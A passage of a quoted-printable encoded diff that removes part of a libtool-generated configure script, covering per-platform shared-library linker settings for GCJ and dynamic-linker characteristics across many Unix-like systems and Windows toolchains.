hardcode_libdir_separator_GCJ=3D: - hardcode_direct_GCJ=3Dyes - - # hardcode_minus_L: Not really in the search PATH, - # but as the default location of the library. - hardcode_minus_L_GCJ=3Dyes - export_dynamic_flag_spec_GCJ=3D'${wl}-E' - ;; - - hpux10* | hpux11*) - if test "$GCC" =3D yes -a "$with_gnu_ld" =3D no; then -=09case "$host_cpu" in -=09hppa*64*|ia64*) -=09 archive_cmds_GCJ=3D'$CC -shared ${wl}+h ${wl}$soname -o $lib $lib= objs $deplibs $compiler_flags' -=09 ;; -=09*) -=09 archive_cmds_GCJ=3D'$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+= b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' -=09 ;; -=09esac - else -=09case "$host_cpu" in -=09hppa*64*|ia64*) -=09 archive_cmds_GCJ=3D'$LD -b +h $soname -o $lib $libobjs $deplibs $= linker_flags' -=09 ;; -=09*) -=09 archive_cmds_GCJ=3D'$LD -b +h $soname +b $install_libdir -o $lib = $libobjs $deplibs $linker_flags' -=09 ;; -=09esac - fi - if test "$with_gnu_ld" =3D no; then -=09case "$host_cpu" in -=09hppa*64*) -=09 hardcode_libdir_flag_spec_GCJ=3D'${wl}+b ${wl}$libdir' -=09 hardcode_libdir_flag_spec_ld_GCJ=3D'+b $libdir' -=09 hardcode_libdir_separator_GCJ=3D: -=09 hardcode_direct_GCJ=3Dno -=09 hardcode_shlibpath_var_GCJ=3Dno -=09 ;; -=09ia64*) -=09 hardcode_libdir_flag_spec_GCJ=3D'-L$libdir' -=09 hardcode_direct_GCJ=3Dno -=09 hardcode_shlibpath_var_GCJ=3Dno - -=09 # hardcode_minus_L: Not really in the search PATH, -=09 # but as the default location of the library. -=09 hardcode_minus_L_GCJ=3Dyes -=09 ;; -=09*) -=09 hardcode_libdir_flag_spec_GCJ=3D'${wl}+b ${wl}$libdir' -=09 hardcode_libdir_separator_GCJ=3D: -=09 hardcode_direct_GCJ=3Dyes -=09 export_dynamic_flag_spec_GCJ=3D'${wl}-E' - -=09 # hardcode_minus_L: Not really in the search PATH, -=09 # but as the default location of the library. -=09 hardcode_minus_L_GCJ=3Dyes -=09 ;; -=09esac - fi - ;; - - irix5* | irix6* | nonstopux*) - if test "$GCC" =3D yes; then -=09archive_cmds_GCJ=3D'$CC -shared $libobjs $deplibs $compiler_flags $= {wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_versio= n ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locat= ions -o $lib' - else -=09archive_cmds_GCJ=3D'$LD -shared $libobjs $deplibs $linker_flags -so= name $soname `test -n "$verstring" && echo -set_version $verstring` -up= date_registry ${output_objdir}/so_locations -o $lib' -=09hardcode_libdir_flag_spec_ld_GCJ=3D'-rpath $libdir' - fi - hardcode_libdir_flag_spec_GCJ=3D'${wl}-rpath ${wl}$libdir' - hardcode_libdir_separator_GCJ=3D: - link_all_deplibs_GCJ=3Dyes - ;; - - netbsd*) - if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then -=09archive_cmds_GCJ=3D'$LD -Bshareable -o $lib $libobjs $deplibs $link= er_flags' # a.out - else -=09archive_cmds_GCJ=3D'$LD -shared -o $lib $libobjs $deplibs $linker_f= lags' # ELF - fi - hardcode_libdir_flag_spec_GCJ=3D'-R$libdir' - hardcode_direct_GCJ=3Dyes - hardcode_shlibpath_var_GCJ=3Dno - ;; - - newsos6) - archive_cmds_GCJ=3D'$LD -G -h $soname -o $lib $libobjs $deplibs = $linker_flags' - hardcode_direct_GCJ=3Dyes - hardcode_libdir_flag_spec_GCJ=3D'${wl}-rpath ${wl}$libdir' - hardcode_libdir_separator_GCJ=3D: - hardcode_shlibpath_var_GCJ=3Dno - ;; - - openbsd*) - hardcode_direct_GCJ=3Dyes - hardcode_shlibpath_var_GCJ=3Dno - if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$= host_os-$host_cpu" =3D "openbsd2.8-powerpc"; then -=09archive_cmds_GCJ=3D'$CC -shared $pic_flag -o $lib $libobjs $deplibs= $compiler_flags' -=09archive_expsym_cmds_GCJ=3D'$CC -shared $pic_flag -o $lib $libobjs $= deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols' -=09hardcode_libdir_flag_spec_GCJ=3D'${wl}-rpath,$libdir' -=09export_dynamic_flag_spec_GCJ=3D'${wl}-E' - else - case $host_os in -=09 openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*) -=09 archive_cmds_GCJ=3D'$LD -Bshareable -o $lib $libobjs $deplibs $l= inker_flags' -=09 hardcode_libdir_flag_spec_GCJ=3D'-R$libdir' -=09 ;; -=09 *) -=09 archive_cmds_GCJ=3D'$CC -shared $pic_flag -o $lib $libobjs $depl= ibs $compiler_flags' -=09 hardcode_libdir_flag_spec_GCJ=3D'${wl}-rpath,$libdir' -=09 ;; - esac - fi - ;; - - os2*) - hardcode_libdir_flag_spec_GCJ=3D'-L$libdir' - hardcode_minus_L_GCJ=3Dyes - allow_undefined_flag_GCJ=3Dunsupported - archive_cmds_GCJ=3D'$echo "LIBRARY $libname INITINSTANCE" > $out= put_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_obj= dir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SING= LE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_o= bjdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -= Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/= $libname.def' - old_archive_From_new_cmds_GCJ=3D'emximp -o $output_objdir/$libna= me.a $output_objdir/$libname.def' - ;; - - osf3*) - if test "$GCC" =3D yes; then -=09allow_undefined_flag_GCJ=3D' ${wl}-expect_unresolved ${wl}\*' -=09archive_cmds_GCJ=3D'$CC -shared${allow_undefined_flag} $libobjs $de= plibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" &= & echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${= output_objdir}/so_locations -o $lib' - else -=09allow_undefined_flag_GCJ=3D' -expect_unresolved \*' -=09archive_cmds_GCJ=3D'$LD -shared${allow_undefined_flag} $libobjs $de= plibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_= version $verstring` -update_registry ${output_objdir}/so_locations -o $= lib' - fi - hardcode_libdir_flag_spec_GCJ=3D'${wl}-rpath ${wl}$libdir' - hardcode_libdir_separator_GCJ=3D: - ;; - - osf4* | osf5*)=09# as osf3* with the addition of -msym flag - if test "$GCC" =3D yes; then -=09allow_undefined_flag_GCJ=3D' ${wl}-expect_unresolved ${wl}\*' -=09archive_cmds_GCJ=3D'$CC -shared${allow_undefined_flag} $libobjs $de= plibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$v= erstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_regis= try ${wl}${output_objdir}/so_locations -o $lib' -=09hardcode_libdir_flag_spec_GCJ=3D'${wl}-rpath ${wl}$libdir' - else -=09allow_undefined_flag_GCJ=3D' -expect_unresolved \*' -=09archive_cmds_GCJ=3D'$LD -shared${allow_undefined_flag} $libobjs $de= plibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo= -set_version $verstring` -update_registry ${output_objdir}/so_location= s -o $lib' -=09archive_expsym_cmds_GCJ=3D'for i in `cat $export_symbols`; do print= f "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">>= $lib.exp~ -=09$LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $l= ibobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_vers= ion $verstring` -update_registry ${objdir}/so_locations -o $lib~$rm $li= b.exp' - -=09# Both c and cxx compiler support -rpath directly -=09hardcode_libdir_flag_spec_GCJ=3D'-rpath $libdir' - fi - hardcode_libdir_separator_GCJ=3D: - ;; - - sco3.2v5*) - archive_cmds_GCJ=3D'$LD -G -h $soname -o $lib $libobjs $deplibs = $linker_flags' - hardcode_shlibpath_var_GCJ=3Dno - export_dynamic_flag_spec_GCJ=3D'${wl}-Bexport' - runpath_var=3DLD_RUN_PATH - hardcode_runpath_var=3Dyes - ;; - - solaris*) - no_undefined_flag_GCJ=3D' -z text' - if test "$GCC" =3D yes; then -=09archive_cmds_GCJ=3D'$CC -shared ${wl}-h ${wl}$soname -o $lib $libob= js $deplibs $compiler_flags' -=09archive_expsym_cmds_GCJ=3D'$echo "{ global:" > $lib.exp~cat $export= _symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> = $lib.exp~ -=09 $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $l= ibobjs $deplibs $compiler_flags~$rm $lib.exp' - else -=09archive_cmds_GCJ=3D'$LD -G${allow_undefined_flag} -h $soname -o $li= b $libobjs $deplibs $linker_flags' -=09archive_expsym_cmds_GCJ=3D'$echo "{ global:" > $lib.exp~cat $export= _symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> = $lib.exp~ - =09$LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $lib= objs $deplibs $linker_flags~$rm $lib.exp' - fi - hardcode_libdir_flag_spec_GCJ=3D'-R$libdir' - hardcode_shlibpath_var_GCJ=3Dno - case $host_os in - solaris2.[0-5] | solaris2.[0-5].*) ;; - *) # Supported since Solaris 2.6 (maybe 2.5.1?) -=09whole_archive_flag_spec_GCJ=3D'-z allextract$convenience -z default= extract' ;; - esac - link_all_deplibs_GCJ=3Dyes - ;; - - sunos4*) - if test "x$host_vendor" =3D xsequent; then -=09# Use $CC to link under sequent, because it throws in some extra .o -=09# files that make .init and .fini sections work. -=09archive_cmds_GCJ=3D'$CC -G ${wl}-h $soname -o $lib $libobjs $deplib= s $compiler_flags' - else -=09archive_cmds_GCJ=3D'$LD -assert pure-text -Bstatic -o $lib $libobjs= $deplibs $linker_flags' - fi - hardcode_libdir_flag_spec_GCJ=3D'-L$libdir' - hardcode_direct_GCJ=3Dyes - hardcode_minus_L_GCJ=3Dyes - hardcode_shlibpath_var_GCJ=3Dno - ;; - - sysv4) - case $host_vendor in -=09sni) -=09 archive_cmds_GCJ=3D'$LD -G -h $soname -o $lib $libobjs $deplibs $= linker_flags' -=09 hardcode_direct_GCJ=3Dyes # is this really true??? -=09;; -=09siemens) -=09 ## LD is ld it makes a PLAMLIB -=09 ## CC just makes a GrossModule. -=09 archive_cmds_GCJ=3D'$LD -G -o $lib $libobjs $deplibs $linker_flag= s' -=09 reload_cmds_GCJ=3D'$CC -r -o $output$reload_objs' -=09 hardcode_direct_GCJ=3Dno - ;; -=09motorola) -=09 archive_cmds_GCJ=3D'$LD -G -h $soname -o $lib $libobjs $deplibs $= linker_flags' -=09 hardcode_direct_GCJ=3Dno #Motorola manual says yes, but my tests = say they lie -=09;; - esac - runpath_var=3D'LD_RUN_PATH' - hardcode_shlibpath_var_GCJ=3Dno - ;; - - sysv4.3*) - archive_cmds_GCJ=3D'$LD -G -h $soname -o $lib $libobjs $deplibs = $linker_flags' - hardcode_shlibpath_var_GCJ=3Dno - export_dynamic_flag_spec_GCJ=3D'-Bexport' - ;; - - sysv4*MP*) - if test -d /usr/nec; then -=09archive_cmds_GCJ=3D'$LD -G -h $soname -o $lib $libobjs $deplibs $li= nker_flags' -=09hardcode_shlibpath_var_GCJ=3Dno -=09runpath_var=3DLD_RUN_PATH -=09hardcode_runpath_var=3Dyes -=09ld_shlibs_GCJ=3Dyes - fi - ;; - - sysv4.2uw2*) - archive_cmds_GCJ=3D'$LD -G -o $lib $libobjs $deplibs $linker_fla= gs' - hardcode_direct_GCJ=3Dyes - hardcode_minus_L_GCJ=3Dno - hardcode_shlibpath_var_GCJ=3Dno - hardcode_runpath_var=3Dyes - runpath_var=3DLD_RUN_PATH - ;; - - sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[78]* | unixware7*) - no_undefined_flag_GCJ=3D'${wl}-z ${wl}text' - if test "$GCC" =3D yes; then -=09archive_cmds_GCJ=3D'$CC -shared ${wl}-h ${wl}$soname -o $lib $libob= js $deplibs $compiler_flags' - else -=09archive_cmds_GCJ=3D'$CC -G ${wl}-h ${wl}$soname -o $lib $libobjs $d= eplibs $compiler_flags' - fi - runpath_var=3D'LD_RUN_PATH' - hardcode_shlibpath_var_GCJ=3Dno - ;; - - sysv5*) - no_undefined_flag_GCJ=3D' -z text' - # $CC -shared without GNU ld will not create a library from C++ - # object files and a static libstdc++, better avoid it by now - archive_cmds_GCJ=3D'$LD -G${allow_undefined_flag} -h $soname -o = $lib $libobjs $deplibs $linker_flags' - archive_expsym_cmds_GCJ=3D'$echo "{ global:" > $lib.exp~cat $exp= ort_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" = >> $lib.exp~ - =09=09$LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $= libobjs $deplibs $linker_flags~$rm $lib.exp' - hardcode_libdir_flag_spec_GCJ=3D - hardcode_shlibpath_var_GCJ=3Dno - runpath_var=3D'LD_RUN_PATH' - ;; - - uts4*) - archive_cmds_GCJ=3D'$LD -G -h $soname -o $lib $libobjs $deplibs = $linker_flags' - hardcode_libdir_flag_spec_GCJ=3D'-L$libdir' - hardcode_shlibpath_var_GCJ=3Dno - ;; - - *) - ld_shlibs_GCJ=3Dno - ;; - esac - fi - -echo "$as_me:$LINENO: result: $ld_shlibs_GCJ" >&5 -echo "${ECHO_T}$ld_shlibs_GCJ" >&6 -test "$ld_shlibs_GCJ" =3D no && can_build_shared=3Dno - -variables_saved_for_relink=3D"PATH $shlibpath_var $runpath_var" -if test "$GCC" =3D yes; then - variables_saved_for_relink=3D"$variables_saved_for_relink GCC_EXEC_P= REFIX COMPILER_PATH LIBRARY_PATH" -fi - -# -# Do we need to explicitly link libc? -# -case "x$archive_cmds_need_lc_GCJ" in -x|xyes) - # Assume -lc should be added - archive_cmds_need_lc_GCJ=3Dyes - - if test "$enable_shared" =3D yes && test "$GCC" =3D yes; then - case $archive_cmds_GCJ in - *'~'*) - # FIXME: we may have to deal with multi-command sequences. - ;; - '$CC '*) - # Test whether the compiler implicitly links with -lc since on s= ome - # systems, -lgcc has to come before -lc. If gcc already passes -= lc - # to ld, don't add -lc before -lgcc. - echo "$as_me:$LINENO: checking whether -lc should be explicitly = linked in" >&5 -echo $ECHO_N "checking whether -lc should be explicitly linked in... $= ECHO_C" >&6 - $rm conftest* - printf "$lt_simple_compile_test_code" > conftest.$ac_ext - - if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } 2>conftest.err; then - soname=3Dconftest - lib=3Dconftest - libobjs=3Dconftest.$ac_objext - deplibs=3D - wl=3D$lt_prog_compiler_wl_GCJ - compiler_flags=3D-v - linker_flags=3D-v - verstring=3D - output_objdir=3D. - libname=3Dconftest - lt_save_allow_undefined_flag=3D$allow_undefined_flag_GCJ - allow_undefined_flag_GCJ=3D - if { (eval echo "$as_me:$LINENO: \"$archive_cmds_GCJ 2\>\&1 \|= grep \" -lc \" \>/dev/null 2\>\&1\"") >&5 - (eval $archive_cmds_GCJ 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1)= 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } - then -=09 archive_cmds_need_lc_GCJ=3Dno - else -=09 archive_cmds_need_lc_GCJ=3Dyes - fi - allow_undefined_flag_GCJ=3D$lt_save_allow_undefined_flag - else - cat conftest.err 1>&5 - fi - $rm conftest* - echo "$as_me:$LINENO: result: $archive_cmds_need_lc_GCJ" >&5 -echo "${ECHO_T}$archive_cmds_need_lc_GCJ" >&6 - ;; - esac - fi - ;; -esac - -echo "$as_me:$LINENO: checking dynamic linker characteristics" >&5 -echo $ECHO_N "checking dynamic linker characteristics... $ECHO_C" >&6 -library_names_spec=3D -libname_spec=3D'lib$name' -soname_spec=3D -shrext_cmds=3D".so" -postinstall_cmds=3D -postuninstall_cmds=3D -finish_cmds=3D -finish_eval=3D -shlibpath_var=3D -shlibpath_overrides_runpath=3Dunknown -version_type=3Dnone -dynamic_linker=3D"$host_os ld.so" -sys_lib_dlsearch_path_spec=3D"/lib /usr/lib" -if test "$GCC" =3D yes; then - sys_lib_search_path_spec=3D`$CC -print-search-dirs | grep "^librarie= s:" | $SED -e "s/^libraries://" -e "s,=3D/,/,g"` - if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then - # if the path contains ";" then we assume it to be the separator - # otherwise default to the standard path separator (i.e. ":") - it= is - # assumed that no part of a normal pathname contains ";" but that = should - # okay in the real world where ";" in dirpaths is itself problemat= ic. - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" | $SE= D -e 's/;/ /g'` - else - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" | $SE= D -e "s/$PATH_SEPARATOR/ /g"` - fi -else - sys_lib_search_path_spec=3D"/lib /usr/lib /usr/local/lib" -fi -need_lib_prefix=3Dunknown -hardcode_into_libs=3Dno - -# when you set need_version to no, make sure it does not cause -set_ve= rsion -# flags to be left without arguments -need_version=3Dunknown - -case $host_os in -aix3*) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix $l= ibname.a' - shlibpath_var=3DLIBPATH - - # AIX 3 has no versioning support, so we append a major version to t= he name. - soname_spec=3D'${libname}${release}${shared_ext}$major' - ;; - -aix4* | aix5*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - hardcode_into_libs=3Dyes - if test "$host_cpu" =3D ia64; then - # AIX 5 supports IA64 - library_names_spec=3D'${libname}${release}${shared_ext}$major ${li= bname}${release}${shared_ext}$versuffix $libname${shared_ext}' - shlibpath_var=3DLD_LIBRARY_PATH - else - # With GCC up to 2.95.x, collect2 would create an import file - # for dependence libraries. The import file would start with - # the line `#! .'. This would cause the generated library to - # depend on `.', always an invalid library. This was fixed in - # development snapshots of GCC prior to 3.0. - case $host_os in - aix4 | aix4.[01] | aix4.[01].*) - if { echo '#if __GNUC__ > 2 || (__GNUC__ =3D=3D 2 && __GNUC_MINO= R__ >=3D 97)' -=09 echo ' yes ' -=09 echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then -=09: - else -=09can_build_shared=3Dno - fi - ;; - esac - # AIX (on Power*) has no versioning support, so currently we can n= ot hardcode correct - # soname into executable. Probably we can add versioning support t= o - # collect2, so additional links can be useful in future. - if test "$aix_use_runtimelinking" =3D yes; then - # If using run time linking (on AIX 4.2 or later) use lib.= so - # instead of lib.a to let people know that these are not - # typical AIX shared libraries. - library_names_spec=3D'${libname}${release}${shared_ext}$versuffi= x ${libname}${release}${shared_ext}$major $libname${shared_ext}' - else - # We preserve .a as extension for shared libraries through AIX4.= 2 - # and later when we are not doing run time linking. - library_names_spec=3D'${libname}${release}.a $libname.a' - soname_spec=3D'${libname}${release}${shared_ext}$major' - fi - shlibpath_var=3DLIBPATH - fi - ;; - -amigaos*) - library_names_spec=3D'$libname.ixlibrary $libname.a' - # Create ${libname}_ixlibrary.a entries in /sys/libs. - finish_eval=3D'for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do l= ibname=3D`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'= \''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs &&= $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libna= me}_ixlibrary.a || exit 1; done' - ;; - -beos*) - library_names_spec=3D'${libname}${shared_ext}' - dynamic_linker=3D"$host_os ld.so" - shlibpath_var=3DLIBRARY_PATH - ;; - -bsdi[45]*) - version_type=3Dlinux - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - sys_lib_search_path_spec=3D"/shlib /usr/lib /usr/X11/lib /usr/contri= b/lib /lib /usr/local/lib" - sys_lib_dlsearch_path_spec=3D"/shlib /usr/lib /usr/local/lib" - # the default ld.so.conf also contains /usr/contrib/lib and - # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allo= w - # libtool to hard-code these into programs - ;; - -cygwin* | mingw* | pw32*) - version_type=3Dwindows - shrext_cmds=3D".dll" - need_version=3Dno - need_lib_prefix=3Dno - - case $GCC,$host_os in - yes,cygwin* | yes,mingw* | yes,pw32*) - library_names_spec=3D'$libname.dll.a' - # DLL is installed to $(libdir)/../bin by postinstall_cmds - postinstall_cmds=3D'base_file=3D`basename \${file}`~ - dlpath=3D`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo = \$dlname'\''`~ - dldir=3D$destdir/`dirname \$dlpath`~ - test -d \$dldir || mkdir -p \$dldir~ - $install_prog $dir/$dlname \$dldir/$dlname' - postuninstall_cmds=3D'dldll=3D`$SHELL 2>&1 -c '\''. $file; echo \$= dlname'\''`~ - dlpath=3D$dir/\$dldll~ - $rm \$dlpath' - shlibpath_overrides_runpath=3Dyes - - case $host_os in - cygwin*) - # Cygwin DLLs use 'cyg' prefix rather than 'lib' - soname_spec=3D'`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${r= elease} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' - sys_lib_search_path_spec=3D"/usr/lib /lib/w32api /lib /usr/local= /lib" - ;; - mingw*) - # MinGW DLLs use traditional 'lib' prefix - soname_spec=3D'${libname}`echo ${release} | $SED -e 's/[.]/-/g'`= ${versuffix}${shared_ext}' - sys_lib_search_path_spec=3D`$CC -print-search-dirs | grep "^libr= aries:" | $SED -e "s/^libraries://" -e "s,=3D/,/,g"` - if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/n= ull; then - # It is most probably a Windows format PATH printed by - # mingw gcc, but we are running on Cygwin. Gcc prints its sear= ch - # path with ; separators, and with drive letters. We can handl= e the - # drive letters (cygwin fileutils understands them), so leave = them, - # especially as we might pass files found there to a mingw obj= dump, - # which wouldn't understand a cygwinified path. Ahh. - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" |= $SED -e 's/;/ /g'` - else - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" |= $SED -e "s/$PATH_SEPARATOR/ /g"` - fi - ;; - pw32*) - # pw32 DLLs use 'pw' prefix rather than 'lib' - library_names_spec=3D'`echo ${libname} | sed -e 's/^lib/pw/'``ec= ho ${release} | $SED -e 's/./-/g'`${versuffix}${shared_ext}' - ;; - esac - ;; - - *) - library_names_spec=3D'${libname}`echo ${release} | $SED -e 's/[.]/= -/g'`${versuffix}${shared_ext} $libname.lib' - ;; - esac - dynamic_linker=3D'Win32 ld.exe' - # FIXME: first we should search . and the directory the executable i= s in - shlibpath_var=3DPATH - ;; - -darwin* | rhapsody*) - dynamic_linker=3D"$host_os dyld" - version_type=3Ddarwin - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${versuffix}$shared_ext ${= libname}${release}${major}$shared_ext ${libname}$shared_ext' - soname_spec=3D'${libname}${release}${major}$shared_ext' - shlibpath_overrides_runpath=3Dyes - shlibpath_var=3DDYLD_LIBRARY_PATH - shrext_cmds=3D'$(test .$module =3D .yes && echo .so || echo .dylib)' - # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the sa= me. - if test "$GCC" =3D yes; then - sys_lib_search_path_spec=3D`$CC -print-search-dirs | tr "\n" "$PAT= H_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep = "^libraries:" | sed -e "s/^libraries://" -e "s,=3D/,/,g" -e "s,$PATH_SE= PARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"` - else - sys_lib_search_path_spec=3D'/lib /usr/lib /usr/local/lib' - fi - sys_lib_dlsearch_path_spec=3D'/usr/local/lib /lib /usr/lib' - ;; - -dgux*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname$shared_ext' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - ;; - -freebsd1*) - dynamic_linker=3Dno - ;; - -kfreebsd*-gnu) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dno - hardcode_into_libs=3Dyes - dynamic_linker=3D'GNU ld.so' - ;; - -freebsd*) - objformat=3D`test -x /usr/bin/objformat && /usr/bin/objformat || ech= o aout` - version_type=3Dfreebsd-$objformat - case $version_type in - freebsd-elf*) - library_names_spec=3D'${libname}${release}${shared_ext}$versuffi= x ${libname}${release}${shared_ext} $libname${shared_ext}' - need_version=3Dno - need_lib_prefix=3Dno - ;; - freebsd-*) - library_names_spec=3D'${libname}${release}${shared_ext}$versuffi= x $libname${shared_ext}$versuffix' - need_version=3Dyes - ;; - esac - shlibpath_var=3DLD_LIBRARY_PATH - case $host_os in - freebsd2*) - shlibpath_overrides_runpath=3Dyes - ;; - freebsd3.01* | freebsdelf3.01*) - shlibpath_overrides_runpath=3Dyes - hardcode_into_libs=3Dyes - ;; - *) # from 3.2 on - shlibpath_overrides_runpath=3Dno - hardcode_into_libs=3Dyes - ;; - esac - ;; - -gnu*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}${major} ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - hardcode_into_libs=3Dyes - ;; - -hpux9* | hpux10* | hpux11*) - # Give a soname corresponding to the major version so that dld.sl re= fuses to - # link against other versions. - version_type=3Dsunos - need_lib_prefix=3Dno - need_version=3Dno - case "$host_cpu" in - ia64*) - shrext_cmds=3D'.so' - hardcode_into_libs=3Dyes - dynamic_linker=3D"$host_os dld.so" - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes # Unless +noenvvar is specified. - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - if test "X$HPUX_IA64_MODE" =3D X32; then - sys_lib_search_path_spec=3D"/usr/lib/hpux32 /usr/local/lib/hpux3= 2 /usr/local/lib" - else - sys_lib_search_path_spec=3D"/usr/lib/hpux64 /usr/local/lib/hpux6= 4" - fi - sys_lib_dlsearch_path_spec=3D$sys_lib_search_path_spec - ;; - hppa*64*) - shrext_cmds=3D'.sl' - hardcode_into_libs=3Dyes - dynamic_linker=3D"$host_os dld.sl" - shlibpath_var=3DLD_LIBRARY_PATH # How should we handle SHLIB_PATH - shlibpath_overrides_runpath=3Dyes # Unless +noenvvar is specified= . - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix= ${libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - sys_lib_search_path_spec=3D"/usr/lib/pa20_64 /usr/ccs/lib/pa20_64= " - sys_lib_dlsearch_path_spec=3D$sys_lib_search_path_spec - ;; - *) - shrext_cmds=3D'.sl' - dynamic_linker=3D"$host_os dld.sl" - shlibpath_var=3DSHLIB_PATH - shlibpath_overrides_runpath=3Dno # +s is required to enable SHLIB_= PATH - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - ;; - esac - # HP-UX runs *really* slowly unless shared libraries are mode 555. - postinstall_cmds=3D'chmod 555 $lib' - ;; - -irix5* | irix6* | nonstopux*) - case $host_os in - nonstopux*) version_type=3Dnonstopux ;; - *) -=09if test "$lt_cv_prog_gnu_ld" =3D yes; then -=09=09version_type=3Dlinux -=09else -=09=09version_type=3Dirix -=09fi ;; - esac - need_lib_prefix=3Dno - need_version=3Dno - soname_spec=3D'${libname}${release}${shared_ext}$major' - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}= $libname${shared_ext}' - case $host_os in - irix5* | nonstopux*) - libsuff=3D shlibsuff=3D - ;; - *) - case $LD in # libtool.m4 will add one of these switches to LD - *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") - libsuff=3D shlibsuff=3D libmagic=3D32-bit;; - *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") - libsuff=3D32 shlibsuff=3DN32 libmagic=3DN32;; - *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") - libsuff=3D64 shlibsuff=3D64 libmagic=3D64-bit;; - *) libsuff=3D shlibsuff=3D libmagic=3Dnever-match;; - esac - ;; - esac - shlibpath_var=3DLD_LIBRARY${shlibsuff}_PATH - shlibpath_overrides_runpath=3Dno - sys_lib_search_path_spec=3D"/usr/lib${libsuff} /lib${libsuff} /usr/l= ocal/lib${libsuff}" - sys_lib_dlsearch_path_spec=3D"/usr/lib${libsuff} /lib${libsuff}" - hardcode_into_libs=3Dyes - ;; - -# No 